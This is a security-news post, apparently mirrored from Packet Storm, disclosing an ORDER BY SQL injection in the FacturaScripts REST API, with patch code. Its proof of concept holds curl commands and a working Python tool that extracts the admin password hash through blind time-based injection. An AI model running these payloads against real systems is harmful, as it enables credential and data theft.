{"id":46305,"date":"2026-04-13T11:50:32","date_gmt":"2026-04-13T11:50:32","guid":{"rendered":"http:\/\/localhost\/?p=46305"},"modified":"2026-04-13T11:50:32","modified_gmt":"2026-04-13T11:50:32","slug":"facturascripts-sql-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=46305","title":{"rendered":"\ud83d\udcc4 FacturaScripts SQL Injection_PACKETSTORM:218735"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-13T15:52:50&#8243;,&#8221;description&#8221;:&#8221;FacturaScripts versions prior to 2025.81 suffer from a remote SQL injection vulnerability in the API ORDER BY clause&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FacturaScripts SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218735&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-25513&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2026-25513: FacturaScripts has SQL Injection in API ORDER BY Clause\\n    \\n    ## Overview\\n    \\n    | Field | Details |\\n    |&#8212;|&#8212;|\\n    | **CVE ID** | [CVE-2026-25513](https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-25513) |\\n    | **Severity** | HIGH |\\n    | **Advisory** | [View Advisory](https:\/\/github.com\/NeoRazorX\/facturascripts\/security\/advisories\/GHSA-cjfx-qhwm-hf99) |\\n    | **Discovered by** | [Lukasz Rybak](https:\/\/github.com\/lukasz-rybak) |\\n    \\n    ## Affected Products\\n    \\n    &#8211; **facturascripts\/facturascripts** (versions: \\u003c 2025.81)\\n    \\n    \\n    ## CWE Classification\\n    \\n    &#8211; CWE-20: Improper Input Validation\\n    &#8211; CWE-89: Improper Neutralization of Special Elements used in an SQL Command (&#8216;SQL Injection&#8217;)\\n    &#8211; CWE-943: Improper Neutralization of Special Elements in Data Query Logic\\n    &#8211; CWE-1286: Improper Validation of Syntactic Correctness of Input\\n    \\n    ## Details\\n    \\n    ### Summary\\n    **FacturaScripts contains a critical SQL injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.\\n    \\n    &#8212;\\n    \\n    ### Details\\n    \\n    The FacturaScripts REST API exposes database models through various endpoints (e.g., `\/api\/3\/users`, `\/api\/3\/attachedfiles`, `\/api\/3\/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.\\n    \\n    #### Vulnerable Code Locations\\n    \\n    **1. Legacy Models:**\\n    **File:** `\/Core\/Model\/Base\/ModelClass.php`\\n    **Method:** `getOrderBy()`\\n    Direct concatenation of keys and values from the `$order` array.\\n    \\n    **2. Modern Models (DbQuery):**\\n    **File:** `\/Core\/DbQuery.php`\\n    **Method:** `orderBy()`\\n    **Lines:** 255-259\\n    &#8220;`php\\n            \/\/ If it contains parentheses, it is not escaped (VULNERABILITY!)\\n            if (strpos($field, &#8216;(&#8216;) !== false \\u0026\\u0026 strpos($field, &#8216;)&#8217;) !== false) {\\n                $this-\\u003eorderBy[] = $field . &#8216; &#8216; . $order;\\n                return $this;\\n            }\\n    &#8220;`\\n    This check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL injection.\\n    \\n    &#8212;\\n    \\n    ### Proof of Concept (PoC)\\n    \\n    #### Prerequisites\\n    &#8211; Valid API authentication token (X-Auth-Token header)\\n    &#8211; Access to FacturaScripts API endpoints\\n    \\n    #### Step-by-Step Verification (CLI)\\n    \\n    Since FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.\\n    \\n    **1. Login and Retrieve a valid API key:**\\n    We handle the CSRF token and session cookies to access the settings and retrieve the first available key.\\n    &#8220;`bash\\n    # Login\\n    TOKEN=$(curl -s -L -c cookies.txt \\&#8221;http:\/\/localhost:8091\/login\\&#8221; | grep -Po &#8216;name=\\&#8221;multireqtoken\\&#8221; value=\\&#8221;\\\\K[^\\&#8221;]+&#8217; | head -n 1)\\n    curl -s -b cookies.txt -c cookies.txt -X POST \\&#8221;http:\/\/localhost:8091\/login\\&#8221; \\\\\\n      -d \\&#8221;fsNick=admin\\&#8221; -d \\&#8221;fsPassword=admin\\&#8221; -d \\&#8221;action=login\\&#8221; -d \\&#8221;multireqtoken=$TOKEN\\&#8221;\\n    \\n    # Find the ID of the first existing API key\\n    API_ID=$(curl -s -b cookies.txt \\&#8221;http:\/\/localhost:8091\/EditSettings?activetab=ListApiKey\\&#8221; | grep -Po &#8216;EditApiKey\\\\?code=\\\\K\\\\d+&#8217; | head -n 1)\\n    \\n    # Extract the API key string using its ID\\n    API_KEY=$(curl -s -b cookies.txt \\&#8221;http:\/\/localhost:8091\/EditApiKey?code=$API_ID\\&#8221; | grep -Po &#8216;name=\\&#8221;apikey\\&#8221; value=\\&#8221;\\\\K[^\\&#8221;]+&#8217; | head -n 1)\\n    echo \\&#8221;Using API Key: $API_KEY\\&#8221;\\n    &#8220;`\\n    \\n    **2. Verify Time-Based SQL Injection:**\\n    Use the extracted `API_KEY` in the `X-Auth-Token` header.\\n    &#8220;`bash\\n    # Normal request (baseline)\\n    time curl -g -s -H \\&#8221;X-Auth-Token: $API_KEY\\&#8221; \\&#8221;http:\/\/localhost:8091\/api\/3\/users?limit=1\\&#8221;\\n    \\n    # Injected request (SLEEP payload in the sort key)\\n    time curl -g -s -H \\&#8221;X-Auth-Token: $API_KEY\\&#8221; \\\\\\n      \\&#8221;http:\/\/localhost:8091\/api\/3\/users?limit=1\\u0026sort[nick,(SELECT(SLEEP(3)))]=ASC\\&#8221;\\n    &#8220;`\\n    \\n    **Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL injection.\\n    \\n    &#8212;\\n    \\n    #### Automated Exploitation Tool\\n    \\n    This script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL injection.\\n    \\n    &#8220;`python\\n    import requests\\n    import time\\n    import string\\n    import re\\n    \\n    # Configuration\\n    BASE_URL = \\&#8221;http:\/\/localhost:8091\\&#8221;\\n    USERNAME = \\&#8221;admin\\&#8221;\\n    PASSWORD = \\&#8221;admin\\&#8221;\\n    API_ENDPOINT = \\&#8221;\/api\/3\/users\\&#8221;\\n    \\n    session = requests.Session()\\n    \\n    def get_token(url):\\n        \\&#8221;\\&#8221;\\&#8221;Extract multireqtoken from any page\\&#8221;\\&#8221;\\&#8221;\\n        res = session.get(url)\\n        match = re.search(r&#8217;name=\\&#8221;multireqtoken\\&#8221; value=\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;, res.text)\\n        return match.group(1) if match else None\\n    \\n    def get_api_key():\\n        \\&#8221;\\&#8221;\\&#8221;Logs in and retrieves the first active API key dynamically\\&#8221;\\&#8221;\\&#8221;\\n        print(f\\&#8221;[*] Logging in as {USERNAME}&#8230;\\&#8221;)\\n        \\n        # 1. Login flow\\n        token = get_token(f\\&#8221;{BASE_URL}\/login\\&#8221;)\\n        if not token:\\n            print(\\&#8221;[!] Failed to get initial CSRF token\\&#8221;)\\n            return None\\n            \\n        login_data = {\\n            \\&#8221;fsNick\\&#8221;: USERNAME,\\n            \\&#8221;fsPassword\\&#8221;: PASSWORD,\\n            \\&#8221;action\\&#8221;: \\&#8221;login\\&#8221;,\\n            \\&#8221;multireqtoken\\&#8221;: token\\n        }\\n        res = session.post(f\\&#8221;{BASE_URL}\/login\\&#8221;, data=login_data)\\n        if \\&#8221;Dashboard\\&#8221; not in res.text:\\n            print(\\&#8221;[!] Login failed!\\&#8221;)\\n            return None\\n        print(\\&#8221;[+] Login successful.\\&#8221;)\\n    \\n        # 2. Retrieve API Key ID from settings\\n        print(\\&#8221;[*] Accessing API settings&#8230;\\&#8221;)\\n        res = session.get(f\\&#8221;{BASE_URL}\/EditSettings?activetab=ListApiKey\\&#8221;)\\n        id_match = re.search(r&#8217;EditApiKey\\\\?code=(\\\\d+)&#8217;, res.text)\\n        if not id_match:\\n            print(\\&#8221;[!] No API keys found in system!\\&#8221;)\\n            return None\\n        \\n        api_id = id_match.group(1)\\n        \\n        # 3. Get the actual API key string\\n        print(f\\&#8221;[*] Retrieving API key for ID {api_id}&#8230;\\&#8221;)\\n        res = session.get(f\\&#8221;{BASE_URL}\/EditApiKey?code={api_id}\\&#8221;)\\n        key_match = re.search(r&#8217;name=\\&#8221;apikey\\&#8221; value=\\&#8221;([^\\&#8221;]+)\\&#8221;&#8216;, res.text)\\n        if not key_match:\\n            print(\\&#8221;[!] Failed to extract API key from page!\\&#8221;)\\n            return None\\n            \\n        return key_match.group(1)\\n    \\n    def time_based_sqli(api_key, payload):\\n        \\&#8221;\\&#8221;\\&#8221;Execute time-based SQL injection and measure response time\\&#8221;\\&#8221;\\&#8221;\\n        headers = {\\&#8221;X-Auth-Token\\&#8221;: api_key}\\n        params = {\\n            &#8216;limit&#8217;: 1,\\n            f&#8217;sort[{payload}]&#8217;: &#8216;ASC&#8217;\\n        }\\n        start = time.time()\\n        try:\\n            requests.get(f\\&#8221;{BASE_URL}{API_ENDPOINT}\\&#8221;, headers=headers, params=params, timeout=10)\\n        except requests.exceptions.ReadTimeout:\\n            return 10.0\\n        except:\\n            pass\\n        return time.time() &#8211; start\\n    \\n    def extract_data(api_key, query, length=60):\\n        \\&#8221;\\&#8221;\\&#8221;Extracts data char by char using time-based blind SQLi\\&#8221;\\&#8221;\\&#8221;\\n        extracted = \\&#8221;\\&#8221;\\n        charset = \\&#8221;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$.\/\\&#8221;\\n        \\n        print(f\\&#8221;[*] Starting extraction for query: {query}\\&#8221;)\\n        for i in range(1, length + 1):\\n            found = False\\n            for char in charset:\\n                # Added BINARY to force case-sensitive comparison\\n                payload = f\\&#8221;(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}&#8217;,SLEEP(2),nick))\\&#8221;\\n                elapsed = time_based_sqli(api_key, payload)\\n                \\n                if elapsed \\u003e= 2.0:\\n                    extracted += char\\n                    print(f\\&#8221;[+] Found char at pos {i}: {char} -\\u003e {extracted}\\&#8221;)\\n                    found = True\\n                    break\\n            if not found:\\n                break\\n        return extracted\\n    \\n    def main():\\n        print(\\&#8221;=\\&#8221;*60)\\n        print(\\&#8221; FacturaScripts Dynamic SQLi Exfiltration Tool\\&#8221;)\\n        print(\\&#8221;=\\&#8221;*60)\\n    \\n        # 1. Get API Key dynamically\\n        api_key = get_api_key()\\n        if not api_key:\\n            return\\n        print(f\\&#8221;[+] Using API Key: {api_key}\\&#8221;)\\n    \\n        # 2. Verify vulnerability\\n        print(\\&#8221;[*] Verifying vulnerability&#8230;\\&#8221;)\\n        if time_based_sqli(api_key, \\&#8221;(SELECT SLEEP(2))\\&#8221;) \\u003e= 2.0:\\n            print(\\&#8221;[+] System is VULNERABLE!\\&#8221;)\\n        else:\\n            print(\\&#8221;[-] System not vulnerable or API key invalid.\\&#8221;)\\n            return\\n    \\n        # 3. Extract Admin Password Hash\\n        admin_hash = extract_data(api_key, \\&#8221;SELECT password FROM users WHERE nick=&#8217;admin&#8217;\\&#8221;)\\n        print(f\\&#8221;\\\\n[!] FINAL ADMIN HASH: {admin_hash}\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    &#8220;`\\n    \\u003cimg width=\\&#8221;862\\&#8221; height=\\&#8221;1221\\&#8221; alt=\\&#8221;image\\&#8221; src=\\&#8221;https:\/\/github.com\/user-attachments\/assets\/9bdf5342-a48f-47f3-a3aa-68e221624273\\&#8221; \/\\u003e\\n    \\n    &#8212;\\n    \\n    ### Impact\\n    \\n    #### Data Confidentiality\\n    &#8211; **Complete database disclosure** through blind SQL injection techniques\\n    &#8211; Extraction of sensitive data including:\\n      &#8211; User credentials and API keys\\n      &#8211; Customer PII (personal identifiable information)\\n      &#8211; Financial records and transaction data\\n      &#8211; Business intelligence and pricing information\\n      &#8211; System configuration and secrets\\n    \\n    #### Who is Impacted?\\n    &#8211; **Organizations using FacturaScripts API** for integrations\\n    &#8211; **Mobile apps and third-party integrations** using the API\\n    &#8211; **All users whose data is accessible via API**\\n    &#8211; **Business partners with API access**\\n    \\n    &#8212;\\n    \\n    ### Recommended Fix\\n    \\n    #### Immediate Remediation\\n    \\n    **Option 1: Implement Strict Whitelist Validation (Recommended)**\\n    \\n    &#8220;`php\\n    \/\/ File: Core\/Model\/Base\/ModelClass.php\\n    \/\/ Method: getOrderBy()\\n    \\n    private static function getOrderBy(array $order): string\\n    {\\n        $result = &#8221;;\\n        $coma = &#8216; ORDER BY &#8216;;\\n    \\n        \/\/ Get valid column names from model\\n        $validColumns = array_keys(static::getModelFields());\\n    \\n        foreach ($order as $key =\\u003e $value) {\\n            \/\/ Validate column name against whitelist\\n            if (!in_array($key, $validColumns, true)) {\\n                throw new \\\\Exception(&#8216;Invalid column name for sorting: &#8216; . $key);\\n            }\\n    \\n            \/\/ Validate sort direction (must be ASC or DESC)\\n            $value = strtoupper(trim($value));\\n            if (!in_array($value, [&#8216;ASC&#8217;, &#8216;DESC&#8217;], true)) {\\n                throw new \\\\Exception(&#8216;Invalid sort direction: &#8216; . $value);\\n            }\\n    \\n            \/\/ Escape column name\\n            $safeColumn = self::$dataBase-\\u003eescapeColumn($key);\\n            $result .= $coma . $safeColumn . &#8216; &#8216; . $value;\\n            $coma = &#8216;, &#8216;;\\n        }\\n    \\n        return $result;\\n    }\\n    &#8220;`\\n    \\n    **Option 2: Use Database Escaping Functions**\\n    \\n    &#8220;`php\\n    private static function getOrderBy(array $order): string\\n    {\\n        $result = &#8221;;\\n        $coma = &#8216; ORDER BY &#8216;;\\n    \\n        foreach ($order as $key =\\u003e $value) {\\n            \/\/ Escape identifiers and validate direction\\n            $safeColumn = self::$dataBase-\\u003eescapeColumn($key);\\n            $safeDirection = in_array(strtoupper($value), [&#8216;ASC&#8217;, &#8216;DESC&#8217;])\\n                ? strtoupper($value)\\n                : &#8216;ASC&#8217;;\\n    \\n            $result .= $coma . $safeColumn . &#8216; &#8216; . $safeDirection;\\n            $coma = &#8216;, &#8216;;\\n        }\\n    \\n        return $result;\\n    }\\n    &#8220;`\\n    \\n    **Option 3: Use Query Builder Pattern**\\n    \\n    &#8220;`php\\n    \/\/ Refactor to use prepared statements\\n    public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array\\n    {\\n        $query = self::table();\\n    \\n        \/\/ Apply WHERE conditions\\n        foreach ($where as $condition) {\\n            $query-\\u003ewhere($condition);\\n        }\\n    \\n        \/\/ Apply ORDER BY with validation\\n        foreach ($order as $column =\\u003e $direction) {\\n            if (!array_key_exists($column, static::getModelFields())) {\\n                continue; \/\/ Skip invalid columns\\n            }\\n            $query-\\u003eorderBy($column, $direction);\\n        }\\n    \\n        return $query-\\u003eoffset($offset)-\\u003elimit($limit)-\\u003eget();\\n    }\\n    &#8220;`\\n    \\n    #### API Security Best Practices\\n    \\n    &#8220;`php\\n    \/\/ Add to API configuration\\n    $config = [\\n        &#8216;max_sort_fields&#8217; =\\u003e 3,  \/\/ Limit number of sort fields\\n        &#8216;allowed_sort_fields&#8217; =\\u003e [&#8216;id&#8217;, &#8216;date&#8217;, &#8216;name&#8217;],  \/\/ Whitelist\\n        &#8216;default_sort&#8217; =\\u003e &#8216;id ASC&#8217;,  \/\/ Safe default\\n    ];\\n    &#8220;`\\n    \\n    &#8212;\\n    \\n    ### Credits\\n    \\n    **Discovered by:** \u0141ukasz Rybak\\n    \\n    ## References\\n    \\n    &#8211; https:\/\/github.com\/NeoRazorX\/facturascripts\/security\/advisories\/GHSA-cjfx-qhwm-hf99\\n    &#8211; https:\/\/github.com\/NeoRazorX\/facturascripts\/commit\/1b6cdfa9ee1bb3365ea4a4ad753452035a027605\\n    &#8211; https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-25513\\n    &#8211; https:\/\/github.com\/advisories\/GHSA-cjfx-qhwm-hf99\\n    \\n    \\n    ## Disclaimer\\n    \\n    This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/218735&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:8.8,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/218735\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-13T15:52:50&#8243;,&#8221;description&#8221;:&#8221;FacturaScripts versions prior to 2025.81 suffer from a remote SQL injection vulnerability in the API ORDER BY clause&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FacturaScripts SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218735&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-25513&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2026-25513: FacturaScripts has SQL&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-46305","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 FacturaScripts SQL Injection_PACKETSTORM:218735 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=46305\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 FacturaScripts SQL Injection_PACKETSTORM:218735 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-13T15:52:50&#8243;,&#8221;description&#8221;:&#8221;FacturaScripts versions prior to 2025.81 suffer from a remote SQL injection vulnerability in the API ORDER BY clause&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FacturaScripts SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218735&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-25513&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2026-25513: FacturaScripts has SQL...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=46305\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-13T11:50:32+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46305#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46305\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 FacturaScripts SQL Injection_PACKETSTORM:218735\",\"datePublished\":\"2026-04-13T11:50:32+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46305\"},\"wordCount\":1968,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-8.8\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=46305#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46305\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46305\",\"name\":\"\ud83d\udcc4 FacturaScripts SQL Injection_PACKETSTORM:218735 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-13T11:50:32+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46305#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=46305\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=46305#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 FacturaScripts SQL Injection_PACKETSTORM:218735\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 FacturaScripts SQL Injection_PACKETSTORM:218735 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=46305","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 FacturaScripts SQL Injection_PACKETSTORM:218735 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-13T15:52:50&#8243;,&#8221;description&#8221;:&#8221;FacturaScripts versions prior to 2025.81 suffer from a remote SQL injection vulnerability in the API ORDER BY clause&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 FacturaScripts SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218735&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-25513&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2026-25513: FacturaScripts has SQL...","og_url":"https:\/\/zero.redgem.net\/?p=46305","og_site_name":"zero redgem","article_published_time":"2026-04-13T11:50:32+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"10 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=46305#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=46305"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 FacturaScripts SQL 